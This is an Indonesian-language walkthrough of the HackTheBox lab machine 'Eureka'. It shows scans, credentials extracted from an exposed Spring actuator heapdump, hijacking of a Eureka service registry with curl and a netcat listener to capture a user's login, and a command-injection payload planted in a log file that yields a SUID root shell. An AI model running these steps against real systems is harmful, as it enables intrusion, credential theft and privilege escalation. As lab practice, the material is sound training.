Eureka – HackTheBox Writeup

Halo semuanya! Pada artikel kali ini, saya akan membahas salah satu mesin dari HackTheBox yaitu Eureka. Mesin ini cukup menarik karena melibatkan Spring Boot application dengan Netflix Eureka service discovery, serta vulnerability dalam bash script yang memungkinkan privilege escalation. Mari kita mulai perjalanan penetration testing ini!

Tahap 1: Reconnaissance & Initial Scanning

Nmap Scanning

Seperti biasa, kita akan melakukan scanning pada IP target menggunakan nmap dengan opsi comprehensive:

└─# nmap -sSV 10.10.11.66 -T5 -A
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-16 02:24 EDT
Nmap scan report for 10.10.11.66
Host is up (0.028s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)
|   256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)
|_  256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://furni.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 1025/tcp)
HOP RTT      ADDRESS
1   53.18 ms 10.10.14.1
2   53.25 ms 10.10.11.66

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.76 seconds

Hasil Scanning:

  • Port 22/tcp: SSH (OpenSSH 8.2p1 Ubuntu)
  • Port 80/tcp: HTTP (nginx 1.18.0 Ubuntu)
  • Redirect ke: http://furni.htb/

DNS Configuration

Menambahkan domain ke /etc/hosts agar bisa mengakses website:

└─# echo "10.10.11.66 furni.htb" >> /etc/hosts

Tahap 2: Web Application Assessment

Nuclei Scanning

Untuk scanning lebih mendalam dan mencari vulnerability, kita gunakan nuclei:

└─# nuclei -u http://furni.htb
                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.3

                projectdiscovery.io

[INF] Current nuclei version: v3.4.3 (latest)
[INF] Current nuclei-templates version: v10.2.1 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 42
[INF] Templates loaded for current scan: 7924
[INF] Executing 7726 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 198 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Templates clustered: 1736 (Reduced 1632 Requests)
[INF] Using Interactsh Server: oast.pro
[missing-sri] [http] [info] http://furni.htb ["https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css"]
[waf-detect:nginxgeneric] [http] [info] http://furni.htb
[springboot-heapdump] [http] [critical] http://furni.htb/actuator/heapdump
[ssh-password-auth] [javascript] [info] furni.htb:22
[ssh-server-enumeration] [javascript] [info] furni.htb:22 ["SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12"]
[ssh-sha1-hmac-algo] [javascript] [info] furni.htb:22
[ssh-auth-methods] [javascript] [info] furni.htb:22 ["["publickey","password"]"]
[openssh-detect] [tcp] [info] furni.htb:22 ["SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12"]
[springboot-caches] [http] [low] http://furni.htb/actuator/caches
[fingerprinthub-web-fingerprints:openfire] [http] [info] http://furni.htb
[tech-detect:bootstrap] [http] [info] http://furni.htb
[tech-detect:nginx] [http] [info] http://furni.htb
[tech-detect:font-awesome] [http] [info] http://furni.htb
[springboot-features] [http] [low] http://furni.htb/actuator/features
[springboot-threaddump] [http] [low] http://furni.htb/actuator/threaddump
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://furni.htb
[http-missing-security-headers:referrer-policy] [http] [info] http://furni.htb
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://furni.htb
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://furni.htb
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://furni.htb
[http-missing-security-headers:content-security-policy] [http] [info] http://furni.htb
[http-missing-security-headers:clear-site-data] [http] [info] http://furni.htb
[http-missing-security-headers:strict-transport-security] [http] [info] http://furni.htb
[http-missing-security-headers:permissions-policy] [http] [info] http://furni.htb
Temuan Penting:

SpringBoot HeapDump: http://furni.htb/actuator/heapdump ⚠️ CRITICAL

SpringBoot Actuator endpoints lainnya:

/actuator/caches

/actuator/features

/actuator/threaddump

Missing security headers (multiple)

Technology stack: Bootstrap, Nginx, Font Awesome

Tahap 3: Sensitive Information Extraction

Download & Analyze HeapDump

HeapDump adalah salah satu endpoint Spring Actuator yang paling sensitif karena berisi memory dump dari aplikasi Java yang sedang berjalan.

wget http://furni.htb/actuator/heapdump

Analyzing HeapDump with JDumpSpider

Download JDumpSpider dari GitHub dan jalankan untuk mengekstrak informasi sensitif:

└─# java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump 
===========================================
SpringDataSourceProperties
-------------
password = 0sc@r190_S........
driverClassName = com.mysql.cj.jdbc.Driver
url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
username = oscar190

===========================================
WeblogicDataSourceConnectionPoolConfig
-------------
not found!

===========================================
MongoClient
-------------
not found!

===========================================
AliDruidDataSourceWrapper
-------------
not found!

===========================================
HikariDataSource
-------------
java.lang.NumberFormatException: Cannot parse null string
not found!

===========================================
RedisStandaloneConfiguration
-------------
not found!

===========================================
JedisClient
-------------
not found!

===========================================
CookieRememberMeManager(ShiroKey)
-------------
not found!

===========================================
OriginTrackedMapPropertySource
-------------
management.endpoints.web.exposure.include = *
spring.datasource.driver-class-name = com.mysql.cj.jdbc.Driver
spring.cloud.inetutils.ignoredInterfaces = enp0s.*
eureka.client.service-url.defaultZone = http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
server.forward-headers-strategy = native
spring.datasource.url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
spring.application.name = Furni
server.port = 8082
spring.jpa.properties.hibernate.format_sql = true
spring.session.store-type = jdbc
spring.jpa.hibernate.ddl-auto = none

===========================================
MutablePropertySources
-------------
spring.cloud.client.ip-address = 127.0.0.1
local.server.port = null
spring.cloud.client.hostname = eureka

===========================================
MapPropertySources
-------------
spring.cloud.client.ip-address = 127.0.0.1
spring.cloud.client.hostname = eureka
local.server.port = null

===========================================
ConsulPropertySources
-------------
not found!

===========================================
JavaProperties
-------------
not found!

===========================================
ProcessEnvironment
-------------
not found!

===========================================
OSS
-------------
org.jboss.logging.provider = slf4j

===========================================
UserPassSearcher
-------------
org.springframework.security.web.authentication.ui.DefaultLoginPageGeneratingFilter:
[oauth2LoginEnabled = false, passwordParameter = password, formLoginEnabled = true, usernameParameter = username, loginPageUrl = /login, authenticationUrl = /login, saml2LoginEnabled = false, failureUrl = /login?error]
[oauth2LoginEnabled = false, formLoginEnabled = false, saml2LoginEnabled = false]

org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter:
[passwordParameter = password, usernameParameter = username]

org.antlr.v4.runtime.atn.LexerATNConfig:
[passedThroughNonGreedyDecision = false]

org.antlr.v4.runtime.atn.ATNDeserializationOptions:
[generateRuleBypassTransitions = false]

org.hibernate.boot.internal.InFlightMetadataCollectorImpl:
[inSecondPass = false]

com.mysql.cj.protocol.a.authentication.AuthenticationLdapSaslClientPlugin:
[firstPass = true]

com.mysql.cj.protocol.a.authentication.CachingSha2PasswordPlugin:
[publicKeyRequested = false]

com.mysql.cj.protocol.a.authentication.Sha256PasswordPlugin:
[publicKeyRequested = false]

com.mysql.cj.NativeCharsetSettings:
[platformDbCharsetMatches = true]

com.mysql.cj.protocol.a.NativeAuthenticationProvider:
[database = Furni_WebApp_DB, useConnectWithDb = true, serverDefaultAuthenticationPluginName = mysql_native_password, username = oscar190]

com.mysql.cj.jdbc.ConnectionImpl:
[password = 0sc@r190_S0l!dP@sswd, database = Furni_WebApp_DB, origHostToConnectTo = localhost, user = oscar190]

com.mysql.cj.conf.HostInfo:
[password = 0sc@r190_S0l!dP@sswd, host = localhost, user = oscar190]

com.zaxxer.hikari.pool.HikariPool:
[aliveBypassWindowMs = 500, isUseJdbc4Validation = true]

org.springframework.cloud.netflix.eureka.EurekaClientConfigBean:
[eurekaServerConnectTimeoutSeconds = 5, useDnsForFetchingServiceUrls = false, eurekaServerReadTimeoutSeconds = 8, eurekaServerTotalConnections = 200, eurekaServiceUrlPollIntervalSeconds = 300, eurekaServerTotalConnectionsPerHost = 50]

org.springframework.boot.autoconfigure.security.SecurityProperties$User:
[password = 4312eecb-54e8-46b9-a645-5b9df3ea21d8, passwordGenerated = true]

org.springframework.boot.autoconfigure.jdbc.DataSourceProperties:
[password = 0sc@r190_S0l!dP@sswd, driverClassName = com.mysql.cj.jdbc.Driver, url = jdbc:mysql://localhost:3306/Furni_WebApp_DB, username = oscar190]

org.springframework.security.authentication.dao.DaoAuthenticationProvider:
[hideUserNotFoundExceptions = true]

com.zaxxer.hikari.HikariDataSource:
[keepaliveTime = 0, password = 0sc@r190_S0l!dP@sswd, jdbcUrl = jdbc:mysql://localhost:3306/Furni_WebApp_DB, driverClassName = com.mysql.cj.jdbc.Driver, username = oscar190]

org.apache.catalina.startup.Tomcat:
[hostname = localhost]

===========================================
CookieThief
-------------
not found!

===========================================
AuthThief
-------------
java.util.LinkedHashMap$Entry:
org.springframework.security.config.annotation.authentication.configuration.InitializeUserDetailsBeanManagerConfigurer$InitializeUserDetailsManagerConfigurer = o.s.s.c.a.a.c.InitializeUserDetailsBeanManagerConfigurer$InitializeUserDetailsManagerConfigurer
org.springframework.security.config.annotation.authentication.configuration.InitializeAuthenticationProviderBeanManagerConfigurer$InitializeAuthenticationProviderManagerConfigurer = o.s.s.c.a.a.c.InitializeAuthenticationProviderBeanManagerConfigurer$InitializeAuthenticationProviderManagerConfigurer

===========================================
Informasi Sensitif yang Ditemukan:

Database Credentials

Username: oscar190

Password: 0sc@r190_........

Database: jdbc:mysql://localhost:3306/Furni_WebApp_DB

Driver: com.mysql.cj.jdbc.Driver

Eureka Server Information

Full URL: http://EurekaSrvr:0scarPW....@localhost:8761/eureka/

Username: EurekaSrvr

Password: 0scarPWD.......

Port: 8761

Tahap 4: Initial Access

SSH Login dengan Kredensial oscar190

Menggunakan kredensial database untuk login SSH:

ssh oscar190@10.10.11.66
# Password: 0sc@r190_........

User Information:

oscar190@eureka:~$ id
uid=1000(oscar190) gid=1001(oscar190) groups=1001(oscar190)
oscar190@eureka:~$ whoami
oscar190

Explore Home Directory

oscar190@eureka:~$ ls -al
total 32
drwxr-x--- 5 oscar190 oscar190 4096 Apr  1 12:57 .
drwxr-xr-x 4 root     root     4096 Aug  9  2024 ..
lrwxrwxrwx 1 oscar190 oscar190    9 Aug  7  2024 .bash_history -> /dev/null
-rw-r--r-- 1 oscar190 oscar190  220 Aug  1  2024 .bash_logout
-rw-r--r-- 1 oscar190 oscar190 3771 Apr  1 12:57 .bashrc
drwx------ 2 oscar190 oscar190 4096 Aug  1  2024 .cache
drwx------ 3 oscar190 oscar190 4096 Aug  1  2024 .config
drwxrwxr-x 3 oscar190 oscar190 4096 Aug  1  2024 .local
lrwxrwxrwx 1 oscar190 oscar190    9 Aug  7  2024 .mysql_history -> /dev/null
-rw-r--r-- 1 oscar190 oscar190  807 Aug  1  2024 .profile

Port Scanning Internal

Memeriksa port yang sedang listening di sistem:

oscar190@eureka:~$ ss -tuln
Netid       State        Recv-Q       Send-Q                  Local Address:Port                Peer Address:Port       Process       
udp         UNCONN       0            0                       127.0.0.53%lo:53                       0.0.0.0:*                        
udp         UNCONN       0            0                                   *:59176                          *:*                        
udp         UNCONN       0            0                                   *:59815                          *:*                        
udp         UNCONN       0            0                                   *:49707                          *:*                        
udp         UNCONN       0            0                                   *:47773                          *:*                        
tcp         LISTEN       0            511                           0.0.0.0:80                       0.0.0.0:*                        
tcp         LISTEN       0            4096                    127.0.0.53%lo:53                       0.0.0.0:*                        
tcp         LISTEN       0            128                           0.0.0.0:22                       0.0.0.0:*                        
tcp         LISTEN       0            80                          127.0.0.1:3306                     0.0.0.0:*                        
tcp         LISTEN       0            4096               [::ffff:127.0.0.1]:8080                           *:*                        
tcp         LISTEN       0            511                              [::]:80                          [::]:*                        
tcp         LISTEN       0            100                [::ffff:127.0.0.1]:8081                           *:*                        
tcp         LISTEN       0            100                [::ffff:127.0.0.1]:8082                           *:*                        
tcp         LISTEN       0            128                              [::]:22                          [::]:*                        
tcp         LISTEN       0            100                                 *:8761                           *:*      

Port Internal yang Ditemukan:

  • 8761 – Eureka Server (OPEN ke public)
  • 8080 – APP-GATEWAY
  • 8081 – USER-MANAGEMENT-SERVICE
  • 8082 – FURNI Service
  • 3306 – MySQL Database

Verify Eureka Credentials

Mari kita cari informasi lebih lanjut tentang Eureka server dari heapdump:

└─# strings heapdump | grep 8761 -n
227464:P`http://localhost:8761/eureka/
344576:http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/!
366651:http://localhost:8761/eureka/!
442796:http://localhost:8761/eureka/!
450355:Host: localhost:8761
450870:http://localhost:8761/eureka/!
451153:Host: localhost:8761

Kita bisa melihat credentials Eureka ada di beberapa lokasi dalam memory dump.

Tahap 5: Eureka Service Discovery Exploitation

Port Forwarding

Forward port 8761 untuk mengakses Eureka dashboard dari local machine:

ssh -L 8761:localhost:8761 oscar190@10.10.11.66

Accessing Eureka Dashboard

Dengan membuka browser ke http://localhost:8761, kita dapat melihat dashboard Eureka yang memerlukan authentication:

  • Username: EurekaSrvr
  • Password: 0scarPW......

Enumerating Registered Services

Setelah login, kita dapat mengakses http://localhost:8761/eureka/apps untuk melihat semua registered services:

<applications>
<versions__delta>1</versions__delta>
<apps__hashcode>UP_3_</apps__hashcode>
<application>
<name>APP-GATEWAY</name>
<instance>
<instanceId>localhost:app-gateway:8080</instanceId>
<hostName>localhost</hostName>
<app>APP-GATEWAY</app>
<ipAddr>10.10.11.66</ipAddr>
<status>UP</status>
<overriddenstatus>UNKNOWN</overriddenstatus>
<port enabled="true">8080</port>
<securePort enabled="false">443</securePort>
<countryId>1</countryId>
<dataCenterInfo class="com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo">
<name>MyOwn</name>
</dataCenterInfo>
<leaseInfo>
<renewalIntervalInSecs>30</renewalIntervalInSecs>
<durationInSecs>90</durationInSecs>
<registrationTimestamp>1747338138206</registrationTimestamp>
<lastRenewalTimestamp>1747380055265</lastRenewalTimestamp>
<evictionTimestamp>0</evictionTimestamp>
<serviceUpTimestamp>1747338138210</serviceUpTimestamp>
</leaseInfo>
<metadata>
<management.port>8080</management.port>
</metadata>
<homePageUrl>http://localhost:8080/</homePageUrl>
<statusPageUrl>http://localhost:8080/actuator/info</statusPageUrl>
<healthCheckUrl>http://localhost:8080/actuator/health</healthCheckUrl>
<vipAddress>app-gateway</vipAddress>
<secureVipAddress>app-gateway</secureVipAddress>
<isCoordinatingDiscoveryServer>false</isCoordinatingDiscoveryServer>
<lastUpdatedTimestamp>1747338138211</lastUpdatedTimestamp>
<lastDirtyTimestamp>1747338134718</lastDirtyTimestamp>
<actionType>ADDED</actionType>
</instance>
</application>
<application>
<name>USER-MANAGEMENT-SERVICE</name>
<instance>
<instanceId>localhost:USER-MANAGEMENT-SERVICE:8081</instanceId>
<hostName>localhost</hostName>
<app>USER-MANAGEMENT-SERVICE</app>
<ipAddr>10.10.11.66</ipAddr>
<status>UP</status>
<overriddenstatus>UNKNOWN</overriddenstatus>
<port enabled="true">8081</port>
<securePort enabled="false">443</securePort>
<countryId>1</countryId>
<dataCenterInfo class="com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo">
<name>MyOwn</name>
</dataCenterInfo>
<leaseInfo>
<renewalIntervalInSecs>30</renewalIntervalInSecs>
<durationInSecs>90</durationInSecs>
<registrationTimestamp>1747338148006</registrationTimestamp>
<lastRenewalTimestamp>1747380064690</lastRenewalTimestamp>
<evictionTimestamp>0</evictionTimestamp>
<serviceUpTimestamp>1747338148006</serviceUpTimestamp>
</leaseInfo>
<metadata>
<management.port>8081</management.port>
</metadata>
<homePageUrl>http://localhost:8081/</homePageUrl>
<statusPageUrl>http://localhost:8081/actuator/info</statusPageUrl>
<healthCheckUrl>http://localhost:8081/actuator/health</healthCheckUrl>
<vipAddress>USER-MANAGEMENT-SERVICE</vipAddress>
<secureVipAddress>USER-MANAGEMENT-SERVICE</secureVipAddress>
<isCoordinatingDiscoveryServer>false</isCoordinatingDiscoveryServer>
<lastUpdatedTimestamp>1747338148006</lastUpdatedTimestamp>
<lastDirtyTimestamp>1747338146607</lastDirtyTimestamp>
<actionType>ADDED</actionType>
</instance>
</application>
<application>
<name>FURNI</name>
<instance>
<instanceId>localhost:Furni:8082</instanceId>
<hostName>localhost</hostName>
<app>FURNI</app>
<ipAddr>10.10.11.66</ipAddr>
<status>UP</status>
<overriddenstatus>UNKNOWN</overriddenstatus>
<port enabled="true">8082</port>
<securePort enabled="false">443</securePort>
<countryId>1</countryId>
<dataCenterInfo class="com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo">
<name>MyOwn</name>
</dataCenterInfo>
<leaseInfo>
<renewalIntervalInSecs>30</renewalIntervalInSecs>
<durationInSecs>90</durationInSecs>
<registrationTimestamp>1747338157282</registrationTimestamp>
<lastRenewalTimestamp>1747380051115</lastRenewalTimestamp>
<evictionTimestamp>0</evictionTimestamp>
<serviceUpTimestamp>1747338157282</serviceUpTimestamp>
</leaseInfo>
<metadata>
<management.port>8082</management.port>
</metadata>
<homePageUrl>http://localhost:8082/</homePageUrl>
<statusPageUrl>http://localhost:8082/actuator/info</statusPageUrl>
<healthCheckUrl>http://localhost:8082/actuator/health</healthCheckUrl>
<vipAddress>Furni</vipAddress>
<secureVipAddress>Furni</secureVipAddress>
<isCoordinatingDiscoveryServer>false</isCoordinatingDiscoveryServer>
<lastUpdatedTimestamp>1747338157282</lastUpdatedTimestamp>
<lastDirtyTimestamp>1747338157127</lastDirtyTimestamp>
<actionType>ADDED</actionType>
</instance>
</application>
</applications>

Services yang terdaftar:

  1. APP-GATEWAY (Port 8080)
  2. USER-MANAGEMENT-SERVICE (Port 8081)
  3. FURNI (Port 8082)

Service Hijacking Attack

Konsep serangan ini adalah mendaftarkan fake service dengan nama yang sama di Eureka, sehingga traffic akan di-route ke IP kita. Berdasarkan referensi Hacking Netflix Eureka, kita bisa melakukan service hijacking.

Setup Listener

Pertama, setup listener pada port 8081 di mesin attacker:

nc -lvnp 8081

Register Fake Service

curl -X POST http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/apps/USER-MANAGEMENT-SERVICE \
-H 'Content-Type: application/json' \
-d '{
  "instance": {
    "instanceId": "USER-MANAGEMENT-SERVICE",
    "hostName": "10.10.14.XXX",
    "app": "USER-MANAGEMENT-SERVICE",
    "ipAddr": "10.10.14.XXX",
    "vipAddress": "USER-MANAGEMENT-SERVICE",
    "secureVipAddress": "USER-MANAGEMENT-SERVICE",
    "status": "UP",
    "port": {
      "$": 8081,
      "@enabled": "true"
    },
    "dataCenterInfo": {
      "@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
      "name": "MyOwn"
    }
  }
}'

Catatan: Ganti 10.10.14.XXX dengan IP attacker machine Anda.

Credential Interception

Setelah mendaftarkan fake service, ketika pengguna mencoba login melalui gateway, traffic akan diarahkan ke server kita dan kita bisa menangkap credentials.

Kredensial yang berhasil ditangkap:

username=miranda.wise%40furni.htb&password=IL%21veT0BeRich%21123&_csrf=s0919JB_yc9-10PPrDWFranrfB0lKpnkPrcW4i6rgNDPpJrk1ypFwPRG_fpTsSb2mRixz5vdUSVAS6jJDI9z0xyetuX2wvnc

Decoded credentials:

  • Username: miranda.wise@furni.htb
  • Password: IL!veT0B......

Tahap 6: User Access & Privilege Escalation

SSH Login sebagai miranda-wise

ssh miranda-wise@10.10.11.66
# Password: IL!veT0........
miranda-wise@eureka:~$ whoami
miranda-wise
miranda-wise@eureka:~$ id
uid=1001(miranda-wise) gid=1002(miranda-wise) groups=1002(miranda-wise),1003(developers)

User Flag

miranda-wise@eureka:~$ cat user.txt
0c7b35c3185e0.........

Enumeration sebagai miranda-wise

Mari kita explore sistem lebih lanjut untuk mencari path privilege escalation:

miranda-wise@eureka:/opt$ ls -la
total 24
drwxr-xr-x  4 root root     4096 Mar 20 14:17 .
drwxr-xr-x 19 root root     4096 Apr 22 12:47 ..
drwxrwx---  2 root www-data 4096 Aug  7  2024 heapdump
-rwxrwxr-x  1 root root     4980 Mar 20 14:17 log_analyse.sh
drwxr-x---  2 root root     4096 Apr  9 18:34 scripts
miranda-wise@eureka:/opt$ cat log_analyse.sh 
#!/bin/bash

# Colors
GREEN='\033[0;32m'
RED='\033[0;31m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
RESET='\033[0m'

LOG_FILE="$1"
OUTPUT_FILE="log_analysis.txt"

declare -A successful_users  # Associative array: username -> count
declare -A failed_users      # Associative array: username -> count
STATUS_CODES=("200:0" "201:0" "302:0" "400:0" "401:0" "403:0" "404:0" "500:0") # Indexed array: "code:count" pairs

if [ ! -f "$LOG_FILE" ]; then
    echo -e "${RED}Error: Log file $LOG_FILE not found.${RESET}"
    exit 1
fi

analyze_logins() {
    # Process successful logins
    while IFS= read -r line; do
        username=$(echo "$line" | awk -F"'" '{print $2}')
        if [ -n "${successful_users[$username]+_}" ]; then
            successful_users[$username]=$((successful_users[$username] + 1))
        else
            successful_users[$username]=1
        fi
    done < <(grep "LoginSuccessLogger" "$LOG_FILE")

    # Process failed logins
    while IFS= read -r line; do
        username=$(echo "$line" | awk -F"'" '{print $2}')
        if [ -n "${failed_users[$username]+_}" ]; then
            failed_users[$username]=$((failed_users[$username] + 1))
        else
            failed_users[$username]=1
        fi
    done < <(grep "LoginFailureLogger" "$LOG_FILE")
}

analyze_http_statuses() {
    # Process HTTP status codes
    while IFS= read -r line; do
        code=$(echo "$line" | grep -oP 'Status: \K.*')
        found=0
        # Check if code exists in STATUS_CODES array
        for i in "${!STATUS_CODES[@]}"; do
            existing_entry="${STATUS_CODES[$i]}"
            existing_code=$(echo "$existing_entry" | cut -d':' -f1)
            existing_count=$(echo "$existing_entry" | cut -d':' -f2)
            if [[ "$existing_code" -eq "$code" ]]; then
                new_count=$((existing_count + 1))
                STATUS_CODES[$i]="${existing_code}:${new_count}"
                break
            fi
        done
    done < <(grep "HTTP.*Status: " "$LOG_FILE")
}

analyze_log_errors(){
     # Log Level Counts (colored)
    echo -e "\n${YELLOW}[+] Log Level Counts:${RESET}"
    log_levels=$(grep -oP '(?<=Z  )\w+' "$LOG_FILE" | sort | uniq -c)
    echo "$log_levels" | awk -v blue="$BLUE" -v yellow="$YELLOW" -v red="$RED" -v reset="$RESET" '{
        if ($2 == "INFO") color=blue;
        else if ($2 == "WARN") color=yellow;
        else if ($2 == "ERROR") color=red;
        else color=reset;
        printf "%s%6s %s%s\n", color, $1, $2, reset
    }'

    # ERROR Messages
    error_messages=$(grep ' ERROR ' "$LOG_FILE" | awk -F' ERROR ' '{print $2}')
    echo -e "\n${RED}[+] ERROR Messages:${RESET}"
    echo "$error_messages" | awk -v red="$RED" -v reset="$RESET" '{print red $0 reset}'

    # Eureka Errors
    eureka_errors=$(grep 'Connect to http://localhost:8761.*failed: Connection refused' "$LOG_FILE")
    eureka_count=$(echo "$eureka_errors" | wc -l)
    echo -e "\n${YELLOW}[+] Eureka Connection Failures:${RESET}"
    echo -e "${YELLOW}Count: $eureka_count${RESET}"
    echo "$eureka_errors" | tail -n 2 | awk -v yellow="$YELLOW" -v reset="$RESET" '{print yellow $0 reset}'
}

display_results() {
    echo -e "${BLUE}----- Log Analysis Report -----${RESET}"

    # Successful logins
    echo -e "\n${GREEN}[+] Successful Login Counts:${RESET}"
    total_success=0
    for user in "${!successful_users[@]}"; do
        count=${successful_users[$user]}
        printf "${GREEN}%6s %s${RESET}\n" "$count" "$user"
        total_success=$((total_success + count))
    done
    echo -e "${GREEN}\nTotal Successful Logins: $total_success${RESET}"

    # Failed logins
    echo -e "\n${RED}[+] Failed Login Attempts:${RESET}"
    total_failed=0
    for user in "${!failed_users[@]}"; do
        count=${failed_users[$user]}
        printf "${RED}%6s %s${RESET}\n" "$count" "$user"
        total_failed=$((total_failed + count))
    done
    echo -e "${RED}\nTotal Failed Login Attempts: $total_failed${RESET}"

    # HTTP status codes
    echo -e "\n${CYAN}[+] HTTP Status Code Distribution:${RESET}"
    total_requests=0
    # Sort codes numerically
    IFS=$'\n' sorted=($(sort -n -t':' -k1 <<<"${STATUS_CODES[*]}"))
    unset IFS
    for entry in "${sorted[@]}"; do
        code=$(echo "$entry" | cut -d':' -f1)
        count=$(echo "$entry" | cut -d':' -f2)
        total_requests=$((total_requests + count))
        
        # Color coding
        if [[ $code =~ ^2 ]]; then color="$GREEN"
        elif [[ $code =~ ^3 ]]; then color="$YELLOW"
        elif [[ $code =~ ^4 || $code =~ ^5 ]]; then color="$RED"
        else color="$CYAN"
        fi
        
        printf "${color}%6s %s${RESET}\n" "$count" "$code"
    done
    echo -e "${CYAN}\nTotal HTTP Requests Tracked: $total_requests${RESET}"
}

# Main execution
analyze_logins
analyze_http_statuses
display_results | tee "$OUTPUT_FILE"
analyze_log_errors | tee -a "$OUTPUT_FILE"
echo -e "\n${GREEN}Analysis completed. Results saved to $OUTPUT_FILE${RESET}"

disini bisa kita lihat, bahwa poinnya ada di [[ “$existing_code” -eq “$code” ]] ini adalah aritmetic comparison. $code digabungkan pada bracket $(…), disini bisa dilihat bahwa bash akan dieksekusi pertama.

analyze_log_errors(){
     # Log Level Counts (colored)
    echo -e "\n${YELLOW}[+] Log Level Counts:${RESET}"
    log_levels=$(grep -oP '(?<=Z  )\w+' "$LOG_FILE" | sort | uniq -c)
    echo "$log_levels" | awk -v blue="$BLUE" -v yellow="$YELLOW" -v red="$RED" -v reset="$RESET" '{
        if ($2 == "INFO") color=blue;
        else if ($2 == "WARN") color=yellow;
        else if ($2 == "ERROR") color=red;
        else color=reset;
        printf "%s%6s %s%s\n", color, $1, $2, reset
    }'

    # ERROR Messages
    error_messages=$(grep ' ERROR ' "$LOG_FILE" | awk -F' ERROR ' '{print $2}')
    echo -e "\n${RED}[+] ERROR Messages:${RESET}"
    echo "$error_messages" | awk -v red="$RED" -v reset="$RESET" '{print red $0 reset}'

    # Eureka Errors
    eureka_errors=$(grep 'Connect to http://localhost:8761.*failed: Connection refused' "$LOG_FILE")
    eureka_count=$(echo "$eureka_errors" | wc -l)
    echo -e "\n${YELLOW}[+] Eureka Connection Failures:${RESET}"
    echo -e "${YELLOW}Count: $eureka_count${RESET}"
    echo "$eureka_errors" | tail -n 2 | awk -v yellow="$YELLOW" -v reset="$RESET" '{print yellow $0 reset}'
}

di code ini untuk melakukan monitoring dan dobug koneksi eureka. Direktori sekarang adalah owner, dan application.log overwritten

miranda-wise@eureka:/var/www/web/cloud-gateway/log$ ls -la
total 36
drwxrwxr-x 2 www-data developers  4096 May 16 00:00 .
drwxrwxr-x 6 www-data developers  4096 Mar 18 21:17 ..
-rw-rw-r-- 1 www-data www-data   22339 May 16 07:57 application.log
-rw-rw-r-- 1 www-data www-data    2801 May 16 00:00 application.log.2025-05-15.0.gz

miranda-wise@eureka:/var/www/web/cloud-gateway/log$ id
uid=1001(miranda-wise) gid=1002(miranda-wise) groups=1002(miranda-wise),1003(developers)

disini kita akan hapus .log file yang lama dan add yang baru, dengan command privilege escalation, dan kita akan dapatkan root flagnya

miranda-wise@eureka:/var/www/web/cloud-gateway/log$ rm application.log
rm: remove write-protected regular file 'application.log'? y
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ echo 'HTTP Status: x[$(cp /bin/bash /tmp/bash;chmod u+s /tmp/bash)]' >> application.log

disini kita lihat pada folder /tmp dan kita berhasil dapatkan root flagnya

miranda-wise@eureka:/var/www/web/cloud-gateway/log$ cd /tmp
miranda-wise@eureka:/tmp$ ls
bash                                                                               tomcat.8081.16279774600350580736
hsperfdata_www-data                                                                tomcat.8082.16909205653749748186
snap-private-tmp                                                                   tomcat.8761.15036367350857598711
systemd-private-18ffe618a6124acf9ef0c689a9c739a6-ModemManager.service-c7V7vf       tomcat-docbase.8081.16612444294384963952
systemd-private-18ffe618a6124acf9ef0c689a9c739a6-systemd-logind.service-cMJ4wi     tomcat-docbase.8082.13025005033399785421
systemd-private-18ffe618a6124acf9ef0c689a9c739a6-systemd-resolved.service-0g5teh   tomcat-docbase.8761.12963806758098986412
systemd-private-18ffe618a6124acf9ef0c689a9c739a6-systemd-timesyncd.service-6KAorh  vmware-root_781-4290101162
systemd-private-18ffe618a6124acf9ef0c689a9c739a6-upower.service-B9M75i
miranda-wise@eureka:/tmp$ ./bash -p
bash-5.0# id
uid=1001(miranda-wise) gid=1002(miranda-wise) euid=0(root) groups=1002(miranda-wise),1003(developers)
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
5057e41df764a765.........

Leave a Reply

